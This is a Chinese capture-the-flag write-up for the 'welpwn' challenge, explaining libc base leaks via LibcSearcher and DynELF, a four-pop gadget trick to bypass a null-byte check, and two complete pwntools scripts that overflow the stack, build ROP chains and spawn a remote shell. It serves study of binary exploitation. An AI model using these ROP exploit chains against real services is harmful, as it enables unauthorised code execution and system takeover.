welpwn & libc表泄露问题
一、前置知识——libc表泄露
libc表是动态链接,我们可以通过把libc表的基址泄露出来从而调用libc的其他函数(一般都是泄露出system函数地址)
下面分为两种情况
1、出题人提供libc文件
我们可以用工具看一下程序用了哪个libc

我们直接在linux下用objdump命令查找libc符号偏移

或者ROPgadget工具

2、出题人不提供libc文件
我们可以用ldd命令查看程序使用的libc版本号,然后在网上查找并下载
或者我们也可以通过函数泄露libc基址
一般使用LibcSeacher库或pwntools自带的DynELF函数
LibcSearcher库这个方法,就是通过对比别人收集好的各版本的libc库而找到正确的libc版本的
这种方法使用简单,但有可能会出现找不到libc的情况
获取基址的方法如下

后者是直接找对方elf文件运行时libc的基址,使用比较复杂,但一般能解决所有的libc泄露问题
ps: 之前使用LibcSeacher库,所需要的libc版本都是要自己下载的,但现在所有的libc版本都被存在了云端, 不需要自己去下载
二、实战—-—welpwn

只开了NX保护,问题不大
IDA分析
无后门函数 system ,但存在字符串 sh

下面,注意到echo函数

s2函数明显是个栈溢出,那我们就可以利用漏洞 puts出 read或write函数运行时的真实地址,从而利用LibcSeacher库或pwntools自带的DynELF函数 得到libc表基址,进而得到system函数地址(这里不选alarm函数的原因是alarm函数从未被执行过,其got表所指地址并不是alarm的真实地址,python会报 No libc satisfies constraints.错误)
理论上来说,根据这些,我们就可以构造payload了
三、绕过 \x00 检测
echo函数中如果碰到 \x00就会停止读取,回想我们函数地址的写法,p64(xx_add) 很明显,多出的 \x00会终止s2数组的赋值

这里有一个思路
搜索 pop|ret链的时候有一条存在四个pop指令的链


我们可以把0x40089c溢出为echo函数的返回地址,这样再经过4轮pop后就回到了下一条指令的位置
这样我们就绕过了 \x00检测
四、构造payload
1、LibcSearcher库方法
第一种方法是使用LibcSearcher库构造payload
from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = remote('111.200.241.244', 59599) elf = ELF('./welpwn') write_got = elf.got['write'] puts_plt = elf.plt['puts'] pop_24 = 0x40089C pop_rdi = 0x4008A3 sh.recvuntil('Welcome to RCTF\n') main_addr = 0x4007CD #pop_24 跳过 24 个字节 payload = b'a' * 0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr) sh.send(payload) sh.recvuntil(b'\x40') #泄露 write 地址 write_addr = u64(sh.recv(6).ljust(8, b'\x00')) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') #获取 / bin / sh 地址 ,没办法,手册上就这样写 str_bin_sh binsh_addr = libc_base + libc.dump('str_bin_sh') sh.recvuntil('\n') payload = b'a' * 0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) sh.send(payload) sh.interactive()
pwntools u64函数:


选择libc版本,拿到flag

这里libc版本已经被过滤出来,我们可以挨着试一试,看看到底是哪一个libc

2、pwntools自带DynELF函数方法
我自己实验的时候,是想通过puts函数泄露的,无奈,失败了,看网上大佬说,服务器上的printf与puts函数无法使用,只能用writes函数...
大佬的思路是利用了 _libc_csu_init函数中存在的 万能ROP链,好,记下了

from pwn import *
context.log_level = 'debug'
p = remote('111.200.241.244',55781)
elf = ELF('./welpwn')
p4pr = 0x40089C
p6pr_step1 = 0x40089A
p6pr_step2 = 0x400880
poprdi = 0x4008A3
main_func = 0x400630
write_got = elf.got['write']
read_got = elf.got['read']
def leak(addr):
p.recv()
rop = p64(p6pr_step1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(addr)+p64(1)+p64(p6pr_step2)+b'x'*56+p64(main_func)
p.send((b'x'*24 + p64(p4pr) + rop).ljust(1024,b'X'))
data = p.recv(8)
return data
d = DynELF(leak, elf=ELF('./welpwn'))
system = d.lookup('system', 'libc')
log.info('system_addr got => ' + hex(system))
p.recv()
bss_addr = elf.bss()
rop = p64(p6pr_step1)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)+p64(p6pr_step2)+b'a'*56
rop += p64(poprdi) + p64(bss_addr) + p64(system)
p.send((b'x'*24 + p64(p4pr) + rop).ljust(1024,b'X'))
p.send('/bin/sh\x00')
p.interactive()

浙公网安备 33010602011771号